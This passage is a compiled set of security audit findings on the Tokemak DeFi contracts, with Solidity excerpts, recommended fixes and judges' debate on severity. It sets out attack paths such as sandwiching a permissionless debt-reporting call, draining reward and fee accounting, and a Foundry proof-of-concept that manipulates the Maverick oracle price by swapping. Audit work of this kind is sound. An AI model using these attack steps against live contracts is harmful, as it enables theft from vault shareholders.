File: IncentivePricingStats.sol 125: function updatePricingInfo(IRootPriceOracle pricer, address token) internal { ..SNIP.. 137: uint256 price = pricer.getPriceInEth(token); 138: 139: // update the timestamp no matter what phase we're in 140: existing.lastSnapshot = uint40(block.timestamp); 141: 142: if (existing._initComplete) { 143: // post-init phase, just update the filter values 144: existing.slowFilterPrice = Stats.getFilteredValue(SLOW_ALPHA, existing.slowFilterPrice, price); 145: existing.fastFilterPrice = Stats.getFilteredValue(FAST_ALPHA, existing.fastFilterPrice, price); 146: } else { 147: // still the initialization phase 148: existing._initCount += 1; 149: existing._initAcc += price; 150: 151: // snapshot count is tracked internally and cannot be manipulated 152: // slither-disable-next-line incorrect-equality 153: if (existing._initCount == INIT_SAMPLE_COUNT) { // @audit-info INIT_SAMPLE_COUNT = 18; 154: // if this sample hits the target number, then complete initialize and set the filters 155: existing._initComplete = true; 156: uint256 averagePrice = existing._initAcc * 1e18 / INIT_SAMPLE_COUNT; 157: existing.fastFilterPrice = averagePrice; 158: existing.slowFilterPrice = averagePrice; 159: } 160: }
The price returned by the stat calculators will be excessively inflated. The purpose of the stats/calculators contracts is to store, augment, and clean data relevant to the LMPs. When the solver proposes a rebalance, the strategy uses the stats contracts to calculate a composite return (score) for the proposed destinations. Using that composite return, it determines if the swap is beneficial for the vault.
If a stat calculator provides incorrect and inflated pricing, it can cause multiple implications that lead to losses to the protocol, such as false signals allowing the unprofitable rebalance to be executed.
Manual Review
Remove the 1e18 scaling.
if (existing._initCount == INIT_SAMPLE_COUNT) { // if this sample hits the target number, then complete initialize and set the filters existing._initComplete = true; - uint256 averagePrice = existing._initAcc * 1e18 / INIT_SAMPLE_COUNT; + uint256 averagePrice = existing._initAcc / INIT_SAMPLE_COUNT; existing.fastFilterPrice = averagePrice; existing.slowFilterPrice = averagePrice; }
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/603
0x73696d616f, 0xGoodess, 0xJuda, 0xTheC0der, 0xdeadbeef, 0xvj, Ch_301, Kalyan-Singh, MrjoryStewartBaxter, VAD37, berndartmueller, bin2chen, caelumimperium, carrotsmuggler, jecikpo, l3r0ux, lemonmon, pengun, saidam017, talfao, wangxx2026, xiaoming90
Malicious users could abuse the accounting error to immediately start getting rewards belonging to others after staking, leading to a loss of reward tokens.
Note
This issue affects both LMPVault and DV since they use the same underlying reward contract.
Assume a new user called Bob mints 100 LMPVault or DV shares. The ERC20's _mint
function will be called, which will first increase Bob's balance at Line 267 and then trigger the _afterTokenTransfer
hook at Line 271.
File: ERC20.sol 259: function _mint(address account, uint256 amount) internal virtual { ..SNIP.. 262: _beforeTokenTransfer(address(0), account, amount); 263: 264: _totalSupply += amount; 265: unchecked { 266: // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. 267: _balances[account] += amount; 268: } ..SNIP.. 271: _afterTokenTransfer(address(0), account, amount); 272: }
The _afterTokenTransfer
hook will automatically stake the newly minted shares to the rewarder contracts on behalf of Bob.
File: LMPVault.sol 854: function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override { ..SNIP.. 862: if (to != address(0)) { 863: rewarder.stake(to, amount); 864: } 865: }
Within the MainRewarder.stake
function, it will first call the _updateReward
function at Line 87 to take a snapshot of accumulated rewards. Since Bob is a new user, his accumulated rewards should be zero. However, this turned out to be false due to the bug described in this report.
File: MainRewarder.sol 86: function stake(address account, uint256 amount) public onlyStakeTracker { 87: _updateReward(account); 88: _stake(account, amount); 89: 90: for (uint256 i = 0; i < extraRewards.length; ++i) { 91: IExtraRewarder(extraRewards[i]).stake(account, amount); 92: } 93: }
When the _updateReward
function is executed, it will compute Bob's earned rewards. It is important to note that at this point, Bob's balance has already been updated to 100 shares in the stakeTracker
contract, and userRewardPerTokenPaid[Bob]
is zero.
Bob's earned reward will be as follows, where is the rewardPerToken()
:
Bob immediately accumulated a reward of upon staking into the rewarder contract, which is incorrect. Bob could withdraw reward tokens that do not belong to him.
File: AbstractRewarder.sol 128: function _updateReward(address account) internal { 129: uint256 earnedRewards = 0; 130: rewardPerTokenStored = rewardPerToken(); 131: lastUpdateBlock = lastBlockRewardApplicable(); 132: 133: if (account != address(0)) { 134: earnedRewards = earned(account); 135: rewards[account] = earnedRewards; 136: userRewardPerTokenPaid[account] = rewardPerTokenStored; 137: } 138: 139: emit UserRewardUpdated(account, earnedRewards, rewardPerTokenStored, lastUpdateBlock); 140: } ..SNIP.. 155: function balanceOf(address account) public view returns (uint256) { 156: return stakeTracker.balanceOf(account); 157: } ..SNIP.. 204: function earned(address account) public view returns (uint256) { 205: return (balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18) + rewards[account]; 206: }
Loss of reward tokens for the vault shareholders.
Manual Review
Ensure that the balance of the users in the rewarder contract is only incremented after the _updateReward
function is executed.
One option is to track the balance of the staker and total supply internally within the rewarder contract and avoid reading the states in the stakeTracker
contract, commonly seen in many reward contracts.
File: AbstractRewarder.sol function balanceOf(address account) public view returns (uint256) { - return stakeTracker.balanceOf(account); + return _balances[account]; }
File: AbstractRewarder.sol function _stake(address account, uint256 amount) internal { Errors.verifyNotZero(account, "account"); Errors.verifyNotZero(amount, "amount"); + _totalSupply += amount + _balances[account] += amount emit Staked(account, amount); }
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/611
0x007, 0xWeiss, Ch_301, Flora, Kalyan-Singh, caelumimperium, lemonmon, n33k, xiaoming90
The difference between and could be arbitraged or exploited by malicious users for their gain, leading to a loss to other vault shareholders.
The actual total amount of assets that are owned by a LMPVault on-chain can be derived via the following formula:
When LMPVault.totalAssets()
function is called, it returns the cached total assets of the LMPVault instead.
File: LMPVault.sol 304: function totalAssets() public view override returns (uint256) { 305: return totalIdle + totalDebt; 306: }
Thus, the will deviate from . This difference could be arbitraged or exploited by malicious users for their gain.
Certain actions such as previewDeposit
, previewMint
, previewWithdraw,
and previewRedeem
functions rely on the value while other actions such as _withdraw
and _calcUserWithdrawSharesToBurn
functions rely on value.
The following shows one example of the issue.
The previewDeposit(assets)
function computed the number of shares to be received after depositing a specific amount of assets:
Assume that , and the values of the variables are as follows:
Assume Bob deposited 10 WETH when the total assets are 110 WETH (when ), he would receive:
If a user deposited 10 WETH while the total assets are updated to the actual worth of 115 WETH (when , they would receive:
Therefore, Bob is receiving more shares than expected.
If Bob redeems all his nine (9) shares after the has been updated to , he will receive 10.417 WETH back.
Bob profits 0.417 WETH simply by arbitraging the difference between the cached and actual values of the total assets. Bob gains is the loss of other vault shareholders.
The can be updated to by calling the permissionless LMPVault.updateDebtReporting
function. Alternatively, one could also perform a sandwich attack against the LMPVault.updateDebtReporting
function by front-run it to take advantage of the lower-than-expected price or NAV/share, and back-run it to sell the shares when the price or NAV/share rises after the update.
One could also reverse the attack order, where an attacker withdraws at a higher-than-expected price or NAV/share, perform an update on the total assets, and deposit at a lower price or NAV/share.
Loss assets for vault shareholders. Attacker gains are the loss of other vault shareholders.
Manual Review
Consider updating to before any withdrawal or deposit to mitigate this issue.
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/620
0x007, 0xvj, Ch_301, Flora, TangYuanShen, berndartmueller, saidam017, xiaoming90
An attacker can steal the gain of the LMPVault.
Assume the following:
LiquidatorRow.claimsVaultRewards
function against all three DVs, and carried out the necessary liquidation of the reward tokens received from Covex, Aura, and Maverick. After the liquidation, 10 WETH of rewards is queued to each of the DV's MainRewarder contracts.LMPVault.updateDebtReporting
function is triggered against the three DVs, will be able to collect 30 WETH of reward tokens (10 WETH from each DV's MainRewarder), and 's total assets will increase by 30 WETH.For simplicity's sake, assume that there are 100 shares and the total assets are 100 ETH. Thus, the NAV per share is 1.0. If the LMPVault.updateDebtReporting
function is triggered, the total assets will become 130 ETH (100 ETH + 30 ETH), and the NAV per share will increase to 1.3.
If Alice owned all the 100 shares in the where she invested 100 ETH when the vault first accepted deposits from the public, she should gain a profit of 30 ETH.
However, malicious users could perform the following actions within a single transaction to steal most of the gains from Alice (also other users). Protocol fees collected from gain are ignored for simplicity's sake.
LMPVault.updateDebtReporting
function, and the 's total assets will increase by 30 WETH to 1,000,130 WETH. The NAV per share is now 1.00002999700029997000299970003.Loss of assets for the users as their gain can be stolen.
Manual Review
Following are the list of root causes of the issue and some recommendation to mitigate them.
updateDebtReporting
function is permissionless and can be called by anyone. It is recommended to implement access control to ensure that this function can only be triggered by Tokemak team. Do note that even if the attacker cannot trigger the updateDebtReporting
function, it is still possible for the attacker to front-run and back-end the updateDebtReporting
transaction to carry out the attack if they see this transaction in the public mempool. Thus, consider sending the updateDebtReporting
transaction as a private transaction via Flashbot so that the attacker cannot sandwich the transaction.updateDebtReporting
function is triggered and exit the vault afterward and reap most of the gains. Consider implementing snapshotting within the vault.Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/621
xiaoming90
The price of the CurveV2 LP Tokens is incorrect as the incorrect quote currency is being used when computing the value, resulting in a loss of assets due to the overvaluing or undervaluing of the assets.
Using the Curve rETH/frxETH pool (0xe7c6e0a739021cdba7aac21b4b728779eef974d9) to illustrate the issue:
The price of the LP token of Curve rETH/frxETH pool can be obtained via the following lp_price
function:
https://etherscan.io/address/0xe7c6e0a739021cdba7aac21b4b728779eef974d9#code#L1308
def lp_price() -> uint256: """ Approximate LP token price """ return 2 * self.virtual_price * self.sqrt_int(self.internal_price_oracle()) / 10**18
Thus, the formula to obtain the price of the LP token is as follows:
Information about the can be obtained from the pool.price_oracle()
function or from the Curve's Pool page (https://curve.fi/#/ethereum/pools/factory-crypto-218/swap). Refer to the Price Data's Price Oracle section.
https://etherscan.io/address/0xe7c6e0a739021cdba7aac21b4b728779eef974d9#code#L1341
def price_oracle() -> uint256: return self.internal_price_oracle()
The is the price of coins[1]
(frxETH) with coins[0]
(rETH) as the quote currency, which means how many rETH (quote) are needed to purchase one frxETH (base).
During pool registration, the poolInfo.tokenToPrice
is always set to the second coin (coins[1]
) as per Line 131 below. In this example, poolInfo.tokenToPrice
will be set to frxETH token address (coins[1]
).
File: CurveV2CryptoEthOracle.sol 107: function registerPool(address curvePool, address curveLpToken, bool checkReentrancy) external onlyOwner { ..SNIP.. 125: /** 126: * Curve V2 pools always price second token in `coins` array in first token in `coins` array. This means that 127: * if `coins[0]` is Weth, and `coins[1]` is rEth, the price will be rEth as base and weth as quote. Hence 128: * to get lp price we will always want to use the second token in the array, priced in eth. 129: */ 130: lpTokenToPool[lpToken] = 131: PoolData({ pool: curvePool, checkReentrancy: checkReentrancy ? 1 : 0, tokenToPrice: tokens[1] });
Note that assetPrice
variable below is equivalent to in the above formula.
When fetching the price of the LP token, Line 166 computes the price of frxETH with ETH as the quote currency () via the getPriceInEth
function, and assigns to the assetPrice
variable.
However, the or assetPrice
should be instead of . Thus, the price of the LP token computed will be incorrect.
File: CurveV2CryptoEthOracle.sol 151: function getPriceInEth(address token) external returns (uint256 price) { 152: Errors.verifyNotZero(token, "token"); 153: 154: PoolData memory poolInfo = lpTokenToPool[token]; 155: if (poolInfo.pool == address(0)) revert NotRegistered(token); 156: 157: ICryptoSwapPool cryptoPool = ICryptoSwapPool(poolInfo.pool); 158: 159: // Checking for read only reentrancy scenario. 160: if (poolInfo.checkReentrancy == 1) { 161: // This will fail in a reentrancy situation. 162: cryptoPool.claim_admin_fees(); 163: } 164: 165: uint256 virtualPrice = cryptoPool.get_virtual_price(); 166: uint256 assetPrice = systemRegistry.rootPriceOracle().getPriceInEth(poolInfo.tokenToPrice); 167: 168: return (2 * virtualPrice * sqrt(assetPrice)) / 10 ** 18; 169: }
The protocol relies on the oracle to provide accurate pricing for many critical operations, such as determining the debt values of DV, calculators/stats used during the rebalancing process, NAV/shares of the LMPVault, and determining how much assets the users should receive during withdrawal.
Incorrect pricing of LP tokens would result in many implications that lead to a loss of assets, such as users withdrawing more or fewer assets than expected due to over/undervalued vaults or strategy allowing an unprofitable rebalance to be executed.
Manual Review
Update the getPriceInEth
function to ensure that the or assetPrice
return the price of coins[1]
with coins[0]
as the quote currency.
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/624
0x007, xiaoming90
An incorrect number of shares was minted as fees during fee collection, resulting in a loss of fee.
File: LMPVault.sol 818: profit = (currentNavPerShare - effectiveNavPerShareHighMark) * totalSupply; 819: fees = profit.mulDiv(performanceFeeBps, (MAX_FEE_BPS ** 2), Math.Rounding.Up); 820: if (fees > 0 && sink != address(0)) { 821: // Calculated separate from other mints as normal share mint is round down 822: shares = _convertToShares(fees, Math.Rounding.Up); 823: _mint(sink, shares); 824: emit Deposit(address(this), sink, fees, shares); 825: }
Assume that the following states:
profit
is 100 WETHfees
will be 20 WETH.totalSupply
is 100 shares and totalAssets()
is 1000 WETHLet the number of shares to be minted be . The current implementation uses the following formula (simplified) to determine .
In this case, two (2) shares will be minted to the sink
address as the fee is taken.
However, the above formula used in the codebase is incorrect. The total cost/value of the newly-minted shares does not correspond to the fee taken. Immediately after the mint, the value of the two (2) shares is worth only 19.60 WETH, which does not correspond to the 20 WETH fee that the sink
address is entitled to.
Loss of fee. Fee collection is an integral part of the protocol; thus the loss of fee is considered a High issue.
Manual Review
The correct formula to compute the number of shares minted as fee should be as follows:
The above formula is the same as the one LIDO used (https://docs.lido.fi/guides/steth-integration-guide/#fees)
The following is the proof to show that 2.0408163265306122448979591836735
shares are worth 20 WETH after the mint.
sherlock-admin2
Escalate
Users deposit assets viadeposit
to get shares, and amount is also calculated by_convertToShares
. The protocol can transfer WETH directly to the sink as fees, why mint share? Since the protocol chooses share as the fee, for the sake of fairness, the same formula as for normal users should be used, and no specialization should be made.
So, I think it's product design. Not a valid issue.
You've deleted an escalation for this issue.
xiaoming9090
Escalate Users deposit assets via
deposit
to get shares, and amount is also calculated by_convertToShares
. The protocol can transfer WETH directly to the sink as fees, why mint share? Since the protocol chooses share as the fee, for the sake of fairness, the same formula as for normal users should be used, and no specialization should be made. So, I think it's product design. Not a valid issue.
Disagree. This is an valid issue.
securitygrid
It is unfair to use two different formulas for user addresses and fee addresses. Since share is choosed as the fee, sink must be treated as a user address. Why let users use formula with losses?
xiaoming9090
It is unfair to use two different formulas for user addresses and fee addresses. Since share is choosed as the fee, sink must be treated as a user address. Why let users use formula with losses?
If the same formula is used, it is not the users who are on the losing end. Instead, it is the protocol team who are on the losing end.
Assume that a user and protocol team are entitled to 20 WETH shares.
Speaking of the old formula, an important difference is that when minting the users' shares, the total assets and supply increase because the user deposited 20 WETH. Thus, the value of the share remain constant before and after minting the shares. However, when minting the protocol's share, only the total supply increases.
The following shows the user received 20 WETH worth of shares after the minting.
The following shows that the protocol did not receive 20 WETH worth of shares after the minting.
securitygrid
Speaking of the old formula, an important difference is that when minting the users' shares, the total assets and supply increase because the user deposited 20 WETH. Thus, the value of the share remain constant before and after minting the shares. However, when minting the protocol's share, only the total supply increases.
Agree it. Thanks for your explanation.
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/635
Bauchibred, ctf_sec, duc, lemonmon, rvierdiiev, saidam017, xiaoming90
The MavEthOracle.getPriceInEth() function uses the reserves of the Maverick pool to calculate the price of Maverick LP tokens. These reserves can be manipulated, which can lead to incorrect results of Maverick oracle.
In the MavEthOracle contract, getPriceInEth
function utilizes the reserves of the Maverick pool and multiplies them with the external prices of the tokens (obtained from the rootPriceOracle contract) to calculate the total value of the Maverick position.
// Get reserves in boosted position. (uint256 reserveTokenA, uint256 reserveTokenB) = boostedPosition.getReserves(); // Get total supply of lp tokens from boosted position. uint256 boostedPositionTotalSupply = boostedPosition.totalSupply(); IRootPriceOracle rootPriceOracle = systemRegistry.rootPriceOracle(); // Price pool tokens. uint256 priceInEthTokenA = rootPriceOracle.getPriceInEth(address(pool.tokenA())); uint256 priceInEthTokenB = rootPriceOracle.getPriceInEth(address(pool.tokenB())); // Calculate total value of each token in boosted position. uint256 totalBoostedPositionValueTokenA = reserveTokenA * priceInEthTokenA; uint256 totalBoostedPositionValueTokenB = reserveTokenB * priceInEthTokenB; // Return price of lp token in boosted position. return (totalBoostedPositionValueTokenA + totalBoostedPositionValueTokenB) / boostedPositionTotalSupply;
However, the reserves of a Maverick position can fluctuate when the price of the Maverick pool changes. Therefore, the returned price of this function can be manipulated by swapping a significant amount of tokens into the Maverick pool. An attacker can utilize a flash loan to initiate a swap, thereby changing the price either upwards or downwards, and subsequently swapping back to repay the flash loan.
Attacker can decrease the returned price of MavEthOracle by swapping a large amount of the higher value token for the lower value token, and vice versa.
Here is a test file that demonstrates how the price of the MavEthOracle contract can be manipulated by swapping to change the reserves.
pragma solidity 0.8.17; import { Test } from "forge-std/Test.sol"; import 'forge-std/console.sol'; import { WETH9_ADDRESS, TOKE_MAINNET, WSTETH_MAINNET } from "test/utils/Addresses.sol"; import { IPool } from "src/interfaces/external/maverick/IPool.sol"; import { MavEthOracle } from "src/oracles/providers/MavEthOracle.sol"; import { SystemRegistry, ISystemRegistry } from "src/SystemRegistry.sol"; import { RootPriceOracle } from "src/oracles/RootPriceOracle.sol"; import { AccessController, IAccessController } from "src/security/AccessController.sol"; import { IPriceOracle } from "src/interfaces/oracles/IPriceOracle.sol"; import { SwEthEthOracle} from "src/oracles/providers/SwEthEthOracle.sol"; import { EthPeggedOracle} from "src/oracles/providers/EthPeggedOracle.sol"; import { IswETH } from "src/interfaces/external/swell/IswETH.sol"; import { IPoolPositionDynamicSlim } from "src/interfaces/external/maverick/IPoolPositionDynamicSlim.sol"; import { IERC20 } from "openzeppelin-contracts/token/ERC20/IERC20.sol"; contract NewTest is Test { SystemRegistry public registry; AccessController public accessControl; RootPriceOracle public rootOracle; MavEthOracle public mavOracle; function setUp() external { vm.createSelectFork("https://rpc.ankr.com/eth", 17224221); registry = new SystemRegistry(TOKE_MAINNET, WETH9_ADDRESS); accessControl = new AccessController(address(registry)); registry.setAccessController(address(accessControl)); rootOracle = new RootPriceOracle(registry); registry.setRootPriceOracle(address(rootOracle)); mavOracle = new MavEthOracle(registry); } function swapCallback( uint256 amountToPay, uint256 amountOut, bytes calldata _data ) external { address tokenIn = abi.decode(_data, (address)); IERC20(tokenIn).transfer(msg.sender, amountToPay); } function test_MaverickOracleManipulation() external { IswETH swETH = IswETH(0xf951E335afb289353dc249e82926178EaC7DEd78); address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address boostedPosition = 0xF917FE742C530Bd66BcEbf64B42c777B13aac92c; SwEthEthOracle swEthOracle = new SwEthEthOracle(registry, swETH); EthPeggedOracle ethOracle = new EthPeggedOracle(registry); rootOracle.registerMapping(address(swETH), swEthOracle); rootOracle.registerMapping(weth, ethOracle); (uint256 reserveA, uint256 reserveB) = IPoolPositionDynamicSlim(boostedPosition).getReserves(); console.log("reserves", reserveA, reserveB); uint256 mavPriceBefore = mavOracle.getPriceInEth(boostedPosition); console.log("mavOracle price before", mavPriceBefore); //swap deal(address(swETH), address(this), 1e24); address pool = IPoolPositionDynamicSlim(boostedPosition).pool(); IPool(pool).swap( address(this), 1e18, false, false, 0, abi.encode(address(swETH)) ); (reserveA, reserveB) = IPoolPositionDynamicSlim(boostedPosition).getReserves(); console.log("reserves", reserveA, reserveB); uint256 mavPriceAfter = mavOracle.getPriceInEth(boostedPosition); console.log("mavOracle price after", mavPriceAfter); require(mavPriceBefore != mavPriceAfter); } }
There are multiple impacts that an attacker can exploit by manipulating the price of MavEthOracle:
Manual Review
Foundry
Use another calculation for Maverick oracle
codenutt
The Mav oracle is only meant to price the value of a boosted position. This is further limited by us only supporting mode "both" positions: https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/README.md?plain=1#L14. The key about mode "both" positions is that they can only contain 1 bin. The maxTotalBinWidth check against the tick spacing, when limited to a single bin, controls the amount of price change we are willing to tolerate. Its default is 50 bps which we are willing to tolerate.
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/738
0x007, 0x73696d616f, ADM, bin2chen, caelumimperium, ck, ctf_sec, minhtrng, nobody2018, pengun, pks_, saidam017, tives, xiaoming90
Since _claimRewards
accounts for rewards with balanceBefore/After, and anyone can claim Convex rewards, then attacker can DOS the rewards and make them stuck in the LiquidationRow contract.
Anyone can claim Convex rewards for any account.
https://etherscan.io/address/0x0A760466E1B4621579a82a39CB56Dda2F4E70f03#code
function getReward(address _account, bool _claimExtras) public updateReward(_account) returns(bool){ uint256 reward = earned(_account); if (reward > 0) { rewards[_account] = 0; rewardToken.safeTransfer(_account, reward); IDeposit(operator).rewardClaimed(pid, _account, reward); emit RewardPaid(_account, reward); } //also get rewards from linked rewards if(_claimExtras){ for(uint i=0; i < extraRewards.length; i++){ IRewards(extraRewards[i]).getReward(_account); } } return true; }
In ConvexRewardsAdapter, the rewards are accounted for by using balanceBefore/after.
function _claimRewards( address gauge, address defaultToken, address sendTo ) internal returns (uint256[] memory amounts, address[] memory tokens) { uint256[] memory balancesBefore = new uint256[](totalLength); uint256[] memory amountsClaimed = new uint256[](totalLength); ... for (uint256 i = 0; i < totalLength; ++i) { uint256 balance = 0; // Same check for "stash tokens" if (IERC20(rewardTokens[i]).totalSupply() > 0) { balance = IERC20(rewardTokens[i]).balanceOf(account); } amountsClaimed[i] = balance - balancesBefore[i]; return (amountsClaimed, rewardTokens);
Adversary can call the external convex contract’s getReward(tokemakContract)
. After this, the reward tokens are transferred to Tokemak without an accounting hook.
Now, when Tokemak calls claimRewards, then no new rewards are transferred, because the attacker already transferred them. amountsClaimed
will be 0.
Rewards are stuck in the LiquidationRow contract and not queued to the MainRewarder.
// get balances after and calculate amounts claimed for (uint256 i = 0; i < totalLength; ++i) { uint256 balance = 0; // Same check for "stash tokens" if (IERC20(rewardTokens[i]).totalSupply() > 0) { balance = IERC20(rewardTokens[i]).balanceOf(account); } amountsClaimed[i] = balance - balancesBefore[i]; if (sendTo != address(this) && amountsClaimed[i] > 0) { IERC20(rewardTokens[i]).safeTransfer(sendTo, amountsClaimed[i]); } }
Manual Review
Don’t use balanceBefore/After. You could consider using balanceOf(address(this))
after claiming to see the full amount of tokens in the contract. This assumes that only the specific rewards balance is in the contract.
getPriceInEth
in TellorOracle.sol
doesn't uses the best practices recommended by Tellor which can cause wrong pricingSource: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/351
Vagner
The function getPriceInEth
it is used to call Tellor oracle to check the prices of different assets but the implementation doesn't respect the best practices recommended by Tellor which can cause wrong pricing.
Tellor team has a Development Checklist
https://docs.tellor.io/tellor/getting-data/user-checklists#development-checklist
that is important to use when you are using Tellor protocol to protect yourself against stale prices and also to limit dispute attacks. The prices in Tellor protocol can be disputed and changed in case of malicious acting and because of that dispute attacks can happen which would make the prices unstable. getPriceInEth
calls getDataBefore
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/oracles/providers/TellorOracle.sol#L105
and uses the timestamp returned to check if the prices are stale or not using DEFAULT_PRICING_TIMEOUT
or tellorStoredTimeout
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/oracles/providers/TellorOracle.sol#L107-L112
The value of the DEFAULT_PRICING_TIMEOUT
is 2 hours and the frame of time where a dispute could happen is around 12 hours as per Tellor documentation, which could make getPriceInEth
revert multiple times because of possible dispute attacks that could happen. The way the Tellor protocol recommends to limit the possibility of dispute attacks is by caching the most recent values and timestamps as can seen here in their example
https://github.com/tellor-io/tellor-caller-liquity/blob/3ed91e4b15f0bac737f2966e36805ade3daf8162/contracts/TellorCaller.sol#L9-L11
Basically every time data is returned it is checked against the last stored values and in case of a dispute attack it will return the last stored undisputed and accurate value as can be seen here
https://github.com/tellor-io/tellor-caller-liquity/blob/3ed91e4b15f0bac737f2966e36805ade3daf8162/contracts/TellorCaller.sol#L51-L58
It is also important to note that the Tellor protocol checks for data returned to not be 0
https://github.com/tellor-io/tellor-caller-liquity/blob/3ed91e4b15f0bac737f2966e36805ade3daf8162/contracts/TellorCaller.sol#L51
which is not done in the getPriceInEth
, so in the case of a 0 value it will be decoded
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/oracles/providers/TellorOracle.sol#L114
and then passed into _denominationPricing
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/oracles/providers/TellorOracle.sol#L115
which would return a 0 value that could hurt the protocol.
Medium of because of wrong pricing or multiple revert in case of dispute attacks
Manual Review
I recommend to use the Tellor example in
https://github.com/tellor-io/tellor-caller-liquity/blob/main/contracts/TellorCaller.sol
and implement mappings to cache the values all the time, similar to how Tellor does it to limit as much as possible dispute attacks and also check for 0 value.
sherlock-admin2
2 comment(s) were left on this issue during the judging contest.
Trumpero commented:
low, oracle completeness is considered low similar to chainlink round completeness
thekmj commented:
great analysis
VagnerAndrei26
Escalate
I don't believe this should be taken as a low because of several factors :
In the end, I believe that this should not be treated as a simple Chainlink round completeness check
, since the mechanics are different and the issue is more complex than that, I believe it should be treated highly since an attack path that could lead to loss of funds by manipulating the price exists, which Tokemak protocol doesn't protect against, as recommender by Tellor.
sherlock-admin2
Escalate
I don't believe this should be taken as a low because of several factors :
- firstly, sherlock rules states that Chainlink round completeness check are invalid since the new OCR doesn't rely on rounds for reporting the price, it doesn't state that every round completeness is invalid, because the mechanics may differ from oracle to oracle and in some situations it is important to check for everything
- secondly, because of how Tellor oracle work, anyone can dispute prices and act maliciously by paying the right amount of fees in TRB, that's why the Tellor talks about "dispute attacks" and specify why it is important to protect yourself against them, they acknowledge the risk where bad actors could manipulate the prices for their benefits and if a protocol implementing Tellor oracle does not protect themselves against this, it could hurt it.
- thirdly, it is important when implementing an external protocol, especially an important one like an oracle, to follow their best practices and recommendations since their methods are battle-tested and any mistakes could lead to loss of funds
In the end, I believe that this should not be treated as a simple
Chainlink round completeness check
, since the mechanics are different and the issue is more complex than that, I believe it should be treated highly since an attack path that could lead to loss of funds by manipulating the price exists, which Tokemak protocol doesn't protect against, as recommender by Tellor.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
xiaoming9090
I agree with the escalator that this should be a valid issue. The root cause is that oracle did not cache the most recent values and timestamps per Tellor's recommendation, leading to dispute attacks. This is similar to the issue I mentioned in my report (https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/612).
This issue (https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/351) and Issue https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/612 should be an issue of its own, and should not be grouped with the rest. Refer to my escalation (https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/612#issuecomment-1748029481) for more details.
Evert0x
Planning to accept escalation and make issue medium
Evert0x
Result:
Medium
Unique
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
0
, which always happens if the rewards are queued before anyone has StakeTracker
tokensSource: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/387
0x73696d616f, chaduke, hassan-truscova, lucifero, p0wd3r
If the supply of StakeTracker
tokens is 0
, the rewardPerTokenStored
won't increase, but the lastUpdateBlock
will, leading to lost rewards.
The rewards are destributed in a MasterChef
style, which takes snapshots of the total accrued rewards over time and whenever someone wants to get the rewards, it subtracts the snapshot of the user from the most updated, global snapshot.
The rewardsPerToken()
calculation factors the blocks passed times the reward rate by the totalSupply()
, to get the reward per token in a specific interval (and then accrues to the previous intervals, as stated in the last paragraph). When the totalSupply()
is 0
, there is 0 rewardPerToken()
increment as there is no supply to factor the rewards by.
The current solution is to maintain the same rewardsPerToken()
if the totalSupply()
is 0
, but the lastUpdateBlock
is still updated. This means that, during the interval in which the totalSupply()
is 0
, no rewards are destributed but the block numbers still move forward, leaving the tokens stuck in the MainRewarder
and ExtraRewarder
smart contracts.
This will always happen if the rewards are quewed before the totalSupply()
is bigger than 0
(before an initial deposit to either DestinationVault
or LMPVault
). It might also happen if users withdraw all their tokens from the vaults, leading to a totalSupply()
of 0
, but this is very unlikely.
Lost reward tokens. The amount depends on the time during which the totalSupply()
is 0
, but could be significant.
The rewardPerToken()
calculation:
function rewardPerToken() public view returns (uint256) { uint256 total = totalSupply(); if (total == 0) { return rewardPerTokenStored; } return rewardPerTokenStored + ((lastBlockRewardApplicable() - lastUpdateBlock) * rewardRate * 1e18 / total); }
The rewardPerTokenStored
does not increment when the totalSupply()
is 0
.
Vscode
Foundry
Manual Review
The totalSupply()
should not realistically be 0
after the initial setup period (unless for some reason everyone decides to withdraw from the vaults, but this should be handled separately). It should be enough to only allow queueing rewards if the totalSupply()
is bigger than 0
. For this, only a new check needs to be added:
function queueNewRewards(uint256 newRewards) external onlyWhitelisted { if (totalSupply() == 0) revert ZeroTotalSupply(); ... }
LMPVault._withdraw()
can revert due to an arithmetic underflowSource: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/519
Flora, berndartmueller, nobody2018, shaka, xiaoming90
LMPVault._withdraw()
can revert due to an arithmetic underflow.
Inside the _withdraw()
function, the maxAssetsToPull
argument value of _calcUserWithdrawSharesToBurn()
is calculated to be equal to info.totalAssetsToPull - Math.max(info.debtDecrease, info.totalAssetsPulled)
.
However, the _withdraw()
function only halts its loop when info.totalAssetsPulled >= info.totalAssetsToPull
.
This can lead to a situation where info.debtDecrease >= info.totalAssetsToPull
. Consequently, when calculating info.totalAssetsToPull - Math.max(info.debtDecrease, info.totalAssetsPulled)
for the next destination vault in the loop, an underflow occurs and triggers a contract revert.
To illustrate this vulnerability, consider the following scenario:
